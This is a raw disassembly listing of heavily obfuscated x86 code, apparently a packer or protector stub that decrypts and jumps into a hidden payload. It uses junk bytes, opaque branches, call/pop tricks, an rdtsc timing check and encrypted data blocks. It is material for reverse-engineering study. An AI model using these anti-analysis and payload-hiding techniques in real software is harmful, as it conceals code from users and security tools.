		jmp	loc_56F3AA
; ---------------------------------------------------------------------------
		db 94h
		dd 1D7F0A73h, 7013762h,	6E0861ABh, 5ABAD0F8h
; ---------------------------------------------------------------------------
		adc	[edx], ebp


loc_56F3AA:				; CODE XREF: .XComp0:loc_56F392j
		shl	eax, 2
		mov	[ebp+5F90B5Dh],	esi
		add	eax, [ebp+5F91399h]
		jmp	loc_56F3C5
; ---------------------------------------------------------------------------
		add	dword ptr [esi+26h], 0F065D112h


loc_56F3C5:				; CODE XREF: .XComp0:0056F3B9j
		xchg	eax, esi
		xor	[ebp+5F907B9h],	ebx
		lodsd
		cmc
		mov	ecx, [esp+24h]
		jmp	loc_56F3DE
; ---------------------------------------------------------------------------
		db 54h
		db 0CCh
		db 6Fh,	65h, 4Eh
		db 7, 0EEh
; ---------------------------------------------------------------------------


loc_56F3DE:				; CODE XREF: .XComp0:0056F3D2j
		add	eax, [esp+24h]
		mov	[ebp+5F918E5h],	esi
		mov	[esp+1Ch], eax
		jmp	loc_56F3F6
; ---------------------------------------------------------------------------
		jo	short loc_56F412
		xchg	al, [ebx-52h]


loc_56F3F6:				; CODE XREF: .XComp0:0056F3ECj
		sub	[ebp+5F91E25h],	eax
		xchg	eax, esi
		add	[ebp+5F90DF9h],	ecx
		lodsb
		cld
		xor	cl, cl
		mov	[ebp+5F92001h],	ebx
		inc	cl
		clc


loc_56F410:				; CODE XREF: .XComp0:0056F45Aj
		rcl	al, 1


loc_56F412:				; CODE XREF: .XComp0:0056F3F1j
		jnb	loc_56F4A5
		jmp	loc_56F42D
; ---------------------------------------------------------------------------
		db 79h,	12h, 1Ah
		dd 955FADE2h, 6ACD3BC0h, 0E3DF2D14h
; ---------------------------------------------------------------------------
		push	ebx


loc_56F42D:				; CODE XREF: .XComp0:0056F418j
		rcl	al, 1
		jnb	loc_56F4A5
		or	[ebp+5F932F9h],	ebx
		rcl	al, 1
		jb	loc_56F4A5
		jnb	loc_56F44A
		stc


loc_56F44A:				; CODE XREF: .XComp0:0056F443j
		rcl	al, 1
		jb	loc_56F4A5
		sub	[ebp+5F92811h],	edi
		dec	cl
		jns	loc_56F410
		cld
		add	esp, 20h
		pusha
		mov	eax, [ebp+5F90DA1h]
		sub	[ebp+5F9317Dh],	esi
		popa
		mov	dword ptr [esp-4], 0
		jns	loc_56F481
		cld


loc_56F481:				; CODE XREF: .XComp0:0056F47Aj
		mov	eax, 1
		cmc
		lea	ecx, [ebp+5F97285h]
		jmp	loc_56F49C
; ---------------------------------------------------------------------------
		dw 529h
		dd 0A39C0363h, 4A1739A1h
; ---------------------------------------------------------------------------


loc_56F49C:				; CODE XREF: .XComp0:0056F48Dj
		jmp	ecx
; ---------------------------------------------------------------------------
		jnz	loc_56F4A5
		cld


loc_56F4A5:				; CODE XREF: .XComp0:loc_56F412j
					; .XComp0:0056F42Fj ...
		mov	byte ptr [ebp+5F91899h], 0
		xor	[ebp+5F920F9h],	edi
		popa
		mov	[ebp+5F90C79h],	ebx
		retn	8
; ---------------------------------------------------------------------------
		mov	[ebp+5F90D9Dh],	edi
		cld
		xchg	eax, esi
		jmp	loc_56F4DC
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dw 3BAh
		dd 884A9A65h, 64152240h, 4A7B3FE7h, 0CF87878Fh
; ---------------------------------------------------------------------------


loc_56F4DC:				; CODE XREF: .XComp0:0056F4C4j
		push	eax
		pusha
		jmp	loc_56F4EB
; ---------------------------------------------------------------------------
		db 83h
		dd 0D290714Dh
		db 21h,	88h, 61h
; ---------------------------------------------------------------------------


loc_56F4EB:				; CODE XREF: .XComp0:0056F4DEj
		push	eax
		push	edx
		mov	ah, 0DBh
		rdtsc
		push	esi
		pop	eax
		pop	edx
		pop	eax
		popa
		xchg	eax, esi
		jg	loc_56F4FE
		cld


loc_56F4FE:				; CODE XREF: .XComp0:0056F4F7j
		mov	[ebp+5F94077h],	esi
		pusha
		mov	[ebp+5F91E31h],	edi
		jl	loc_56F513
		pusha
		popa


loc_56F513:				; CODE XREF: .XComp0:0056F50Bj
		popa
		mov	[ebp+5F9408Eh],	ecx
		mov	[ebp+5F91E6Dh],	esi
		lea	esi, [ebp+5F93F77h]
		clc
		jmp	loc_56F53A
; ---------------------------------------------------------------------------
		dd 0F13ADF6Eh, 0B4441851h, 25FE5795h
		db 4Eh,	0C7h
; ---------------------------------------------------------------------------


loc_56F53A:				; CODE XREF: .XComp0:0056F527j
		lea	eax, dword_5B8EA1[ebp]
		jmp	loc_56F552
; ---------------------------------------------------------------------------
		db 4Ah,	0DEh, 0B6h
		dd 0F10F7B22h, 9C878EECh
; ---------------------------------------------------------------------------
		pop	es
		pop	esp


loc_56F552:				; CODE XREF: .XComp0:0056F540j
		call	eax
		mov	[ebp+5F91751h],	eax
		pop	esi
		cmc
		mov	[ebp+5F908ADh],	eax
		retn
; ---------------------------------------------------------------------------
		cmc
		mov	esi, [ebp+5F94077h]
		ja	loc_56F571
		stc


loc_56F571:				; CODE XREF: .XComp0:0056F56Aj
		mov	ecx, [ebp+5F9408Eh]
		add	[ebp+5F91435h],	edx
		sub	eax, eax
		sub	[ebp+5F91F8Dh],	edi
		mov	ebx, ecx
		mov	[ebp+5F92BD1h],	eax
		cmc
		jmp	loc_56F63A
; ---------------------------------------------------------------------------
		stc


loc_56F594:				; CODE XREF: .XComp0:0056F63Cj
		xor	ah, [esi]
		or	[ebp+5F93401h],	edi
		mov	dl, 2
		stc
		jmp	loc_56F60D
; ---------------------------------------------------------------------------
		pusha
		movzx	eax, di
		adc	bx, 0B62Eh
		popa


loc_56F5AE:				; CODE XREF: .XComp0:0056F60Fj
		xor	al, dl
		pusha
		mov	[ebp+5F90DF9h],	eax
		mov	eax, [ebp+5F916F1h]
		popa
		add	eax, 8A751D7Ah
		jmp	loc_56F5D0
; ---------------------------------------------------------------------------
		dd 0EB04BEEDh, 6A1759F5h
; ---------------------------------------------------------------------------


loc_56F5D0:				; CODE XREF: .XComp0:0056F5C3j
		mov	cl, ah
		or	[ebp+5F91F6Dh],	ebx
		ror	eax, cl
		clc
		xor	eax, 98D10842h
		jmp	loc_56F5F0
; ---------------------------------------------------------------------------
		db 0B5h, 7Eh, 25h
		dd 0E952B6CEh, 7CBCDA8Eh
; ---------------------------------------------------------------------------


loc_56F5F0:				; CODE XREF: .XComp0:0056F5E0j
		jnp	loc_56F5FF
		pusha
		clc
		or	esi, [ebp+5F91A89h]
		popa


loc_56F5FF:				; CODE XREF: .XComp0:loc_56F5F0j
		dec	dl
		pusha
		push	esi
		mov	edi, edx
		pop	ecx
		mov	eax, [ebp+5F92785h]
		popa


loc_56F60D:				; CODE XREF: .XComp0:0056F59Fj
		or	dl, dl
		jnz	loc_56F5AE
		stc
		dec	ebx
		xor	[ebp+5F91461h],	esi
		inc	esi
		pusha
		push	eax
		pop	eax
		jmp	loc_56F639
; ---------------------------------------------------------------------------
		dw 80D0h
		dd 0A4EBB585h, 2CE98044h, 1F2E012Ch, 0C73346B4h
		db 0B0h
; ---------------------------------------------------------------------------


loc_56F639:				; CODE XREF: .XComp0:0056F621j
		popa


loc_56F63A:				; CODE XREF: .XComp0:0056F58Ej
		or	ebx, ebx
		jnz	loc_56F594
		jg	locret_56F65D
		jmp	locret_56F65D
; ---------------------------------------------------------------------------
		db 49h,	37h, 8Eh
		dd 0A4DF258h, 0DAAD3F09h, 0C2891519h
		db 86h
; ---------------------------------------------------------------------------

locret_56F65D:				; CODE XREF: .XComp0:0056F642j
					; .XComp0:0056F648j
		iret
; ---------------------------------------------------------------------------
		dw 8509h
; ---------------------------------------------------------------------------
		xor	eax, 5F931h
		add	[ecx-6DA9243h],	cl
		add	eax, 81600000h
		retf	46A7h
; ---------------------------------------------------------------------------
		lds	ebx, [eax+edi*4-28h]
		retf
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 5, 61h, 0
		dd 0ED9D8900h, 5F90Fh, 9BD8900h
		db 11h,	0F9h, 5
; ---------------------------------------------------------------------------


loc_56F68B:				; CODE XREF: .XComp0:loc_56F03Dj
		lea	eax, [ebp+5F93A6Ah]
		jnz	loc_56F69F
		jns	loc_56F69F	; CODE XREF: .XComp0:0056F701j
		pusha
		popa


loc_56F69F:				; CODE XREF: .XComp0:0056F691j
					; .XComp0:0056F697j
		jz	loc_56F6AC
		jz	loc_56F6AC
		clc


loc_56F6AC:				; CODE XREF: .XComp0:loc_56F69Fj
					; .XComp0:0056F6A5j
		mov	[ebp+5F91649h],	eax
		mov	[ebp+5F900C1h],	edi
		lea	eax, [ebp+5F93ED6h]
		jo	loc_56F6D1
		pusha
		adc	ebx, 0D49E7B5h
		adc	bx, 5B23h
		popa


loc_56F6D1:				; CODE XREF: .XComp0:0056F6BEj
		jnp	near ptr loc_56F6E6+4
		pusha
		add	[ebp+5F9243Dh],	ecx
		call	near ptr loc_56F6E6+2
		sbb	edx, [eax+74h]


loc_56F6E6:				; CODE XREF: .XComp0:0056F6DEp
					; .XComp0:loc_56F6D1j
		mov	ecx, 89615E9Dh
		test	edx, ecx
		adc	bh, cl
		add	eax, 12E8h
		add	[eax+6FAD327Eh], bh
		pushf
		outsd
		mov	ch, 4Dh
		add	esp, [esi]
		cmc
		db	36h
		js	short near ptr loc_56F697+3
		pop	eax
		sub	bl, [edx]
		call	near ptr loc_56F719+4
		xor	eax, 77CDF67Ah
		sbb	ebp, [ecx+6Bh]
		dec	edx
		lahf
		add	edi, ebx
		pop	ss


loc_56F719:				; CODE XREF: .XComp0:0056F707p
		mov	al, ds:0E90AF6B1h
		adc	[eax], al
; ---------------------------------------------------------------------------
		dd 0DC930000h, 656B77Ah, 0E11756D6h, 0B072A28Eh, 585BB2F8h
		dd 11E9h, 0A230DE00h, 0F9C712F4h, 83EB0A17h, 68050C95h
		dd 0C081E9B9h, 63EEh, 0DCC18166h, 0BAF7h, 0BF0F0000h, 103C8BDEh
		dd 81C88B66h, 447973C7h, 5D8D8B07h, 8105F92Eh, 6E3183C7h
		dd 81F08B4Eh, 53FDDEFh,	103C8976h, 6850Fh, 8D890000h, 5F91095h
		dd 3303EA83h, 0F91E018Dh, 81FC4A05h, 0FF9CECFAh, 11850FFFh
		dd 81000000h, 0BC60C4F3h, 25E96Ch, 71910000h, 0F182738Ch
		dd 18E59D2Bh, 9EE905F9h, 0DDFFFFFFh, 52FB89BCh,	0F9312C7Ch
		dd 0B781A549h, 0AFCF73A7h, 0EB892D06h, 14h, 3 dup(0)
		dd 9100h, 0B3858D00h, 8905F942h, 0F9073D85h, 0F4BD8305h
		dd 5F941h, 12B840Fh, 85C60000h,	5F91899h, 6BFD6856h, 3481FE3Fh
		dd 2006C424h, 19B5FF2Ah, 8D05F927h, 0F93A6A85h,	89D0FF05h
		dd 0F941E885h, 9985C605h, 5605F918h, 4E8h, 0A8B85200h
		dd 448B509Ch, 8B0424h, 4244489h, 19B5FF58h, 8D05F927h
		dd 0F93A6A85h, 89D0FF05h, 0F941EC85h, 68046A05h, 0EE21C6BEh
		dd 42240481h, 8B11DE49h, 0F941F885h, 1F40505h, 0E0C10000h
		dd 90509002h, 95FF006Ah, 5F941ECh, 41F08589h, 0D88B05F9h
		dd 0FFFFFFB8h, 3D95FFFFh, 8B05F907h, 3D95FFC3h,	0E905F907h
		dd 8Dh,	41F4BD83h, 0F0005F9h, 185h, 8B57C300h, 0F941F0BDh
		dd 8583AB05h, 5F941F0h,	83C35F04h, 0F941F4BDh, 850F0005h
		dd 1, 0AD8360C3h, 5F941F0h, 0F09D8B04h,	8305F941h, 0FFFFC7Bh
		dd 1D85h, 0BB4A6800h, 3481592Eh, 2E3B4A24h, 0FF006A59h
		dd 0E895FF33h, 6105F941h, 26E9C3h, 4E80000h, 0
		dd 50000080h, 424448Bh,	4489008Bh, 6A580424h, 0FF33FF00h
		dd 0F941E895h, 0F0AD8305h, 405F941h, 0FFFFA8E9h, 0ADE948FFh
		dd 60000001h, 2424748Bh, 28247C8Bh, 8A80B2FCh, 7884606h
		dd 2BB47h, 0D2020000h, 5850Fh, 168A0000h, 0FD21246h, 0FFFFE283h
		dd 0FD202FFh, 585h, 46168A00h, 830FD212h, 6Ah, 0D202C033h
		dd 5850Fh, 168A0000h, 0FD21246h, 12A83h, 0FD20200h, 585h
		dd 46168A00h, 0C013D212h, 850FD202h, 5,	1246168Ah, 2C013D2h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0D202C013h,	5850Fh
		dd 168A0000h, 13D21246h, 6840FC0h, 57000000h, 78AF82Bh
		dd 4707885Fh, 2BBh, 0FF70E900h,	1B8FFFFh, 2000000h, 5850FD2h
		dd 8A000000h, 0D2124616h, 0D202C013h, 5850Fh, 168A0000h
		dd 0FD21246h, 0FFFFDE82h, 0BBC32BFFh, 1, 34850Fh, 1B90000h
		dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h
		dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 0F78B56FFh
		dd 0A4F3F52Bh, 0FF08E95Eh, 0C148FFFFh, 68A08E0h, 0B9E88B46h
		dd 1, 850FD202h, 5, 1246168Ah, 2C913D2h, 5850FD2h, 8A000000h
		dd 0D2124616h, 0FFDE820Fh, 3DFFFFh, 0F00007Dh, 2283h, 5003D00h
		dd 820F0000h, 0Eh, 0F78B5641h, 0A4F3F02Bh, 0FEB4E95Eh
		dd 0F883FFFFh, 3870F7Fh, 83000000h, 8B5602C1h, 0F3F02BF7h
		dd 9BE95EA4h, 8AFFFFFEh, 0C9334606h, 0F01E8C0h,	1784h
		dd 2D18300h, 8B56E88Bh,	0F3F02BF7h, 1BB5EA4h, 0E9000000h
		dd 0FFFFFE76h, 28247C2Bh, 1C247C89h, 8C261h, 929BAh, 9D3E900h
		dd 18800000h, 27EE720Ch, 81AFF657h, 0DF14D980h,	0CE358F2Ch
		dd 4C75C430h, 0D60BBFFAh, 0F5431EF9h, 3EDD0FA3h, 65E57F0Ch
		dd 96BDFE5Bh, 0CD058AD2h, 853ACA2Bh, 4605A75Fh,	0D716ABF0h
		dd 0F5434CF5h, 3DD209A1h, 65FF7F0Ch, 89A7E344h,	0D31994D2h
		dd 8B2EDD30h, 0A31C434h, 0C616AFE7h, 0BB421EB8h, 2BC609B4h
		dd 2AF9660Ch, 89A9E345h, 0DCh, 62h dup(0)
		dd 18800000h, 2BE47B0Ch, 96A7E54Bh, 0D10E89D2h,	0C636DD38h
		dd 5934C275h, 0D700A8B5h, 0F4504CB7h, 79D708B8h, 2BE5635Eh
		dd 0C4AFFF4Bh, 0C75C979Bh, 8B25DA30h, 5E26D326h, 0B84BA7F0h
		dd 0FE5A3CD4h, 75D615ACh, 29E5630Ch, 0C4ACF04Dh, 0D85C8D9Bh
		dd 8B3AC02Dh, 4538CF38h, 0D345B3E7h, 0E91608B7h, 38C715A8h
		dd 3CAB625Eh, 0C4BAE44Dh, 0D9138B82h, 853ACE2Dh, 48h dup(0)
		dd 18800000h, 24F9750Ch, 96ADFA41h, 0CA5C8AD5h,	8B3BC030h
		dd 0A26CB3Dh, 0DC00AFF7h, 0EE590AF9h, 2B9302A3h, 2CE57859h
		dd 8DE8F64Ch, 0D105D99Ch, 0D877DD2Ah, 4F21D92Ch, 0BF6FE4F8h
		dd 0FA530089h, 799F03BEh, 2AE77859h, 8DE8F543h,	0CC1AD986h
		dd 0C677C230h, 583AC730h, 0DC04EAECh, 0FE444CBDh, 2BD212BEh
		dd 2AF23658h, 94E8E357h, 0CC1B9680h, 79C23Eh, 61h dup(0)
		dd 1F800000h, 65EE7A45h, 96BAFE41h, 0DB088987h,	8B798E3Bh
		dd 593CC201h, 0DD17BAB5h, 0F6571EBEh, 2AD20EEDh, 20EE740Ch
		dd 85A5B14Ch, 0CB0C909Ch, 0CE23CE33h, 44348A31h, 0D308EAF1h
		dd 91530EA0h, 7EC70FC0h, 2BE2365Fh, 90ABF444h, 0DC5C9D97h
		dd 8B368F26h, 5F27C303h, 0C00AEAE6h, 0FA440FF9h, 3DD60DAEh
		dd 2DDF3602h, 82E8E24Bh, 9E19959Bh, 8C39C028h, 45228A21h
		dd 0D345A1E7h, 0F45B15B7h, 9D03BFh, 0E0h dup(0)
		dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0)
aExitStatusD	db 'Exit Status = %d',0
		align 4
		dd 0
		dd 2D51E900h, 7E80000h,	2C000000h, 383432EFh, 0B589C69Dh
		dd 5F931E5h, 8D09FC5Ah,	5F92945h, 6AC08Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 81A935C3h
		dd 2D0B23E3h, 0C9BD8323h, 5F931h, 0BD830975h, 5F912B5h
		dd 50137400h, 0B8C08B53h, 1, 0F2269D8Dh, 0D3FF05FBh, 0BD83585Bh
		dd 5F912B5h, 50117400h,	1B853h,	9D8D0000h, 5FBF0D7h, 585BD3FFh
		dd 12E9h, 7E39C600h, 6EC042C1h,	0CA40A000h, 6EB9F94h, 0F0EC751h
		dd 383h, 3AD38000h, 0BF0FC08Bh,	0E9BD83D1h, 5F915h, 183840Fh
		dd 2EBB0000h, 8330FE88h, 0F908B5BDh, 840F0005h,	171h, 1125958Bh
		dd 9D8905F9h, 5F91611h,	0DE8B6660h, 47CB8166h, 0B5858B2Fh
		dd 0F05F908h, 28Bh, 5D08B00h, 3E8h, 55A05EBAh, 0D1958B12h
		dd 9005F909h, 53D2F8BAh, 6FBA5053h, 905F1A23h, 85CB8166h
		dd 0B7858D24h, 8B05F94Eh, 6B350D9h, 6A240489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 462C357h, 85B5891Fh,	6605F907h, 933DEB81h, 2B359D8Bh
		dd 858D05F9h, 5F94E95h,	8950F78Ah, 880F2404h, 6, 0C6DCF281h
		dd 95FF3CC7h, 5F90DCDh,	13E8h, 0C0DA3A00h, 0FC026216h
		dd 1EE3BC2Fh, 4C4AA6E0h, 0CF2037FBh, 5AD98B66h,	6A0CC483h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 6624C351h, 0FF315BAh, 0A80h, 4810F00h, 66000000h
		dd 8D3402BAh, 0F94E9585h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0F21C25F4h
		dd 958BA429h, 5F917C5h,	52506050h, 310FC68Ah, 14E9h, 0C1985200h
		dd 26523554h, 0C3A25966h, 0BECC551Bh, 0C80C42D5h, 60585A1Dh
		dd 310F5250h, 6161585Ah, 0BB240489h, 6CC85913h,	958B026Ah
		dd 5F92885h, 0ED1495FFh, 840F006Ah, 6, 2E299D8Bh, 896105F9h
		dd 0F927A19Dh, 0C885C705h, 105F94Eh, 0F000000h,	5096D7B7h
		dd 12E9h, 1DAC4700h, 0AFDBFF81h, 744B6F92h, 0BBE210CAh
		dd 5BAF41D4h, 12E950h, 3E140000h, 0E182B9Eh, 0F16E765h
		dd 6FFEC162h, 0C541CA27h, 52006A96h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0B9534581h
		dd 5D203572h, 3BB6652h,	9D8B5AD3h, 5F90655h, 4E79B589h
		dd 958B05F9h, 5F92BB1h,	1785BD83h, 0F0105F9h, 4C85h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 43B27637h, 21409D3Ah, 12CDBD89h, 5E905F9h, 0C9000000h
		dd 295110AFh, 0F05F883h, 1085h,	810F00h, 0B8000000h, 0
; ---------------------------------------------------------------------------
		sbb	bx, 0CB14h
		cmp	dword ptr [ebp+5F91021h], 0
		jz	loc_570812
		xor	[ebp+5F912B9h],	edx
		pusha
		stc
		call	dword ptr [ebp+5F91021h]
		sbb	dx, 41CBh
		popa
		push	0
		push	ebx
		call	sub_5707F5
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5707F5	proc near		; CODE XREF: .XComp0:005707EDp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5707F5	endp

; ---------------------------------------------------------------------------
		db 33h,	38h, 92h
		dd 3850FF2h, 0F000000h
		db 0BFh, 0DAh
; ---------------------------------------------------------------------------


loc_570812:				; CODE XREF: .XComp0:005707D0j
		cmp	dword ptr [ebp+5F90151h], 0
		jz	loc_570831
		jb	loc_570827
		mov	bl, 7Bh


loc_570827:				; CODE XREF: .XComp0:0057081Fj
		mov	eax, 0
		mov	ebx, 52C4B313h


loc_570831:				; CODE XREF: .XComp0:00570819j
		pusha
		push	0
		push	ecx
		call	sub_57083D
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57083D	proc near		; CODE XREF: .XComp0:00570835p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_57083D	endp

; ---------------------------------------------------------------------------
		adc	dl, [ecx]
		xchg	eax, edx
		xchg	eax, ecx
		fdiv	qword ptr [eax-65h]
		mov	dh, 0A5h
		adc	ebx, 1959E1ECh
		mov	eax, [ebp+5F91151h]
		jmp	loc_57087A
; ---------------------------------------------------------------------------
		mov	al, 94h
		lea	eax, [edx+3138EC0h]
		dec	esp
		mov	ds:0E13B14F8h, al
		retf	177Bh
; ---------------------------------------------------------------------------
		lodsb


loc_57087A:				; CODE XREF: .XComp0:00570862j
		add	eax, 2
		push	0
		push	ebx
		call	sub_570888
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_570888	proc near		; CODE XREF: .XComp0:00570880p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_570888	endp

; ---------------------------------------------------------------------------
		dd 0C780B911h, 2880F7Ah, 0B2000000h, 71858988h,	0BA05F94Eh
		dd 6E2AACCAh, 0D058D29h, 0C605F9h, 0C6F48AFFh, 0F9189985h
		dd 6A5305h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 87F21AC3h, 9D8BF530h, 5F91461h, 68DFBF0Fh
		dd 0C8581EB2h, 11BE6052h, 6118E49Ah, 2434815Ah,	34E9566Ah
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 74C35040h
		dd 0E971642Fh, 0B5892E23h, 0FFD78B66h, 0F908D1B5h, 0BD8D2905h
		dd 8D05F92Ch, 0FCC51085h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0A66D42FCh
		dd 80C5BAFDh, 18719D89h, 0D0FF05F9h, 8BD18B66h,	0F9116D9Dh
		dd 0ED858905h, 0F05F91Ah, 958BD8B7h, 5F92CBDh, 2DF5BD83h
		dd 0F0105F9h, 0B185h, 8061FC00h, 85C65EDEh, 5F91899h, 25B58945h
		dd 6805F911h, 8374CB92h, 52505250h, 10E9h, 0CC52EB00h
		dd 4A18272Dh, 9954358Eh, 572E8969h, 8B310F91h, 0F585AD6h
		dd 0BE666031h, 5A61BDA8h, 24348158h, 5914F350h,	3117BB66h
		dd 8D1B5FFh, 6A05F9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0BD89A7C3h, 5F9204Dh, 0C510858Dh
		dd 0F6005FCh, 0FF61C8B7h, 53006AD0h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0D1555E79h
		dd 0B79A30E6h, 6A3276h,	8B5BB3BAh, 80D0FF42h, 0BD830DEBh
		dd 5F91859h, 0BD850F01h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 6384C351h
		dd 802723B0h, 858B6BEFh, 5F91151h, 76E9F9h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0C36D21C3h, 181FE24Ch, 0A19D8BD2h, 5005F903h, 4895A51h
		dd 49BA6624h, 6A146AC9h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0D40DC350h,	0CF374063h
		dd 74BB8143h, 0FF15FBB8h, 0F91AED95h, 0BE905h, 9AD50000h
		dd 0AF5AA0DAh, 8C9D4E5Bh, 0DD8A585Fh, 0F003880h, 0FFFFAA85h
		dd 41958BFFh, 0C605F92Eh, 9D8B0100h, 5F92505h, 0BD83F861h
		dd 5F929C9h, 62840F00h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 890AC355h
		dd 0F919759Dh, 0F8FF6A05h, 1AED95FFh, 6A05F9h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0BF2F55C3h, 0FFFFD4E9h, 0CE8FFh, 0E8900000h,	8C82846Dh
		dd 3AF0735Ah, 0DF8B200Ch, 0C985C75Bh, 105F929h,	66000000h
		dd 0BE4E281h, 11198529h, 858905F9h, 5F94E7Dh, 20418D89h
		dd 0BE905F9h, 5000000h,	2CCDBDBAh, 9E531410h, 0E850FA26h
		dd 8, 50801526h, 0DA82D2E3h, 5B5B5251h,	2404895Bh, 7E9h
		dd 6E05E200h, 0FCC26F33h, 27418589h, 896005F9h,	0F914099Dh
		dd 0BD9D0B05h, 6A05F910h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0C61C3944h
		dd 8DD8B70Fh, 0F94E9585h, 0D5958B05h, 5005F908h, 0DD93BB66h
		dd 2B240489h, 0F932C595h, 85858D05h, 6A05F94Eh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 9E57C352h, 50FCE002h, 11E8h,	0FBA22100h, 2B75C4BDh
		dd 0CF3CFCA9h, 0FF159F7Eh, 5760B50Fh, 0F52505Fh, 61585A31h
		dd 2404895Bh, 0FA59D8Bh, 9D8B05F9h, 5F92CD1h, 225995FFh
		dd 0AE905F9h, 0BD000000h, 0BDA8689Eh, 96F7BB63h, 0CE8D8DADh
		dd 6A05F97Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 5BABC356h, 0BFF311Ah, 141B547Fh
		dd 6CA8166h, 74C00B73h,	95858D11h, 5005F94Eh, 8589D1FFh
		dd 5F94EB3h, 85C70AEBh,	5F94EB3h, 0FFFFFFFFh, 0D5958B52h
		dd 5B05F903h, 5E9h, 33935000h, 0D18AFD62h, 5E861h, 37C70000h
		dd 89B560CCh, 0F900059Dh, 85C65B05h, 5F91899h, 56006A4Dh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0CE919h, 9B60000h, 0DEB772D3h, 1B920399h, 666073BAh
		dd 6128C3B9h, 2001958Bh, 4E805F9h, 0A8000000h, 50A43576h
		dd 7E86052h, 0B6000000h, 7A041FBEh, 0BF5B060Fh,	22A4C464h
		dd 5A310F61h, 0BE85058h, 0C4000000h, 0EEE48CF4h, 0FACF1892h
		dd 0E9522297h, 0Bh, 0C95D75AEh,	0D16C54F2h, 5B67A53Fh
		dd 24448B5Ah, 5830F04h,	0BB000000h, 5E6758BEh, 8B66008Bh
		dd 244489DEh, 0DF8B6604h, 0B1BD8958h, 0FF05F928h, 0F90A41B5h
		dd 2850F05h, 8A000000h,	10858DDAh, 6605FCC5h, 0D0FFD78Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 72C35747h
		dd 20688662h, 7811B8D6h, 9258589h, 0BA6605F9h, 85C6D905h
		dd 5F91899h, 219D8B45h,	6805F91Fh, 2E250AA6h, 48165B7h
		dd 4D5EC324h, 759D2360h, 2B05F910h, 0F911F19Dh,	0D1B5FF05h
		dd 6605F908h, 0BAA7DB81h, 0C510858Dh, 0D08B05FCh, 0D680D0FFh
		dd 69858942h, 6605F907h, 4DCBEB81h, 0AE9D28Bh, 0B0000000h
		dd 56CF24D5h, 797EA1CEh, 0D98C669Fh, 4ADEB81h, 0C1F6120Fh
		dd 48840F04h, 0F000002h, 38Fh, 0DFBF0F00h, 113E9h, 69B58B00h
		dd 8105F905h, 37143AC2h, 80C6817Ah, 6A000011h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0D990C352h, 8370F916h, 0F91825BDh, 850F0005h, 30h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 10C35646h, 8E2A84D5h
		dd 8C3E12D5h, 0A1E9B6h,	85290000h, 5F9171Dh, 0F003E83h
		dd 9284h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 74BEDD31h, 3A0B7CBFh, 13BA6615h
		dd 6A607Dh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0BD2943C3h, 5F92041h, 0FFFC146Ah,	0F91AED95h
		dd 68A0F05h, 8B000000h,	0F9266595h, 0E9506005h,	0Ah, 3AC46CB9h
		dd 98E737E8h, 815B4B3Ch, 0BCAE1FEBh, 0F616128h,	883h, 28D0F00h
		dd 8B000000h, 0FF6AE9D8h, 8166FFFFh, 0C739FAEAh, 106h
		dd 0DA8B6600h, 4E7DBD83h, 0F0505F9h, 11A85h, 0D3EA8100h
		dd 8B74A446h, 0F90769B5h, 0D38B6605h, 64B9h, 8E900h, 54170000h
		dd 0F76D6D33h, 3E806788h, 1D840FE8h, 60000000h,	198DBD29h
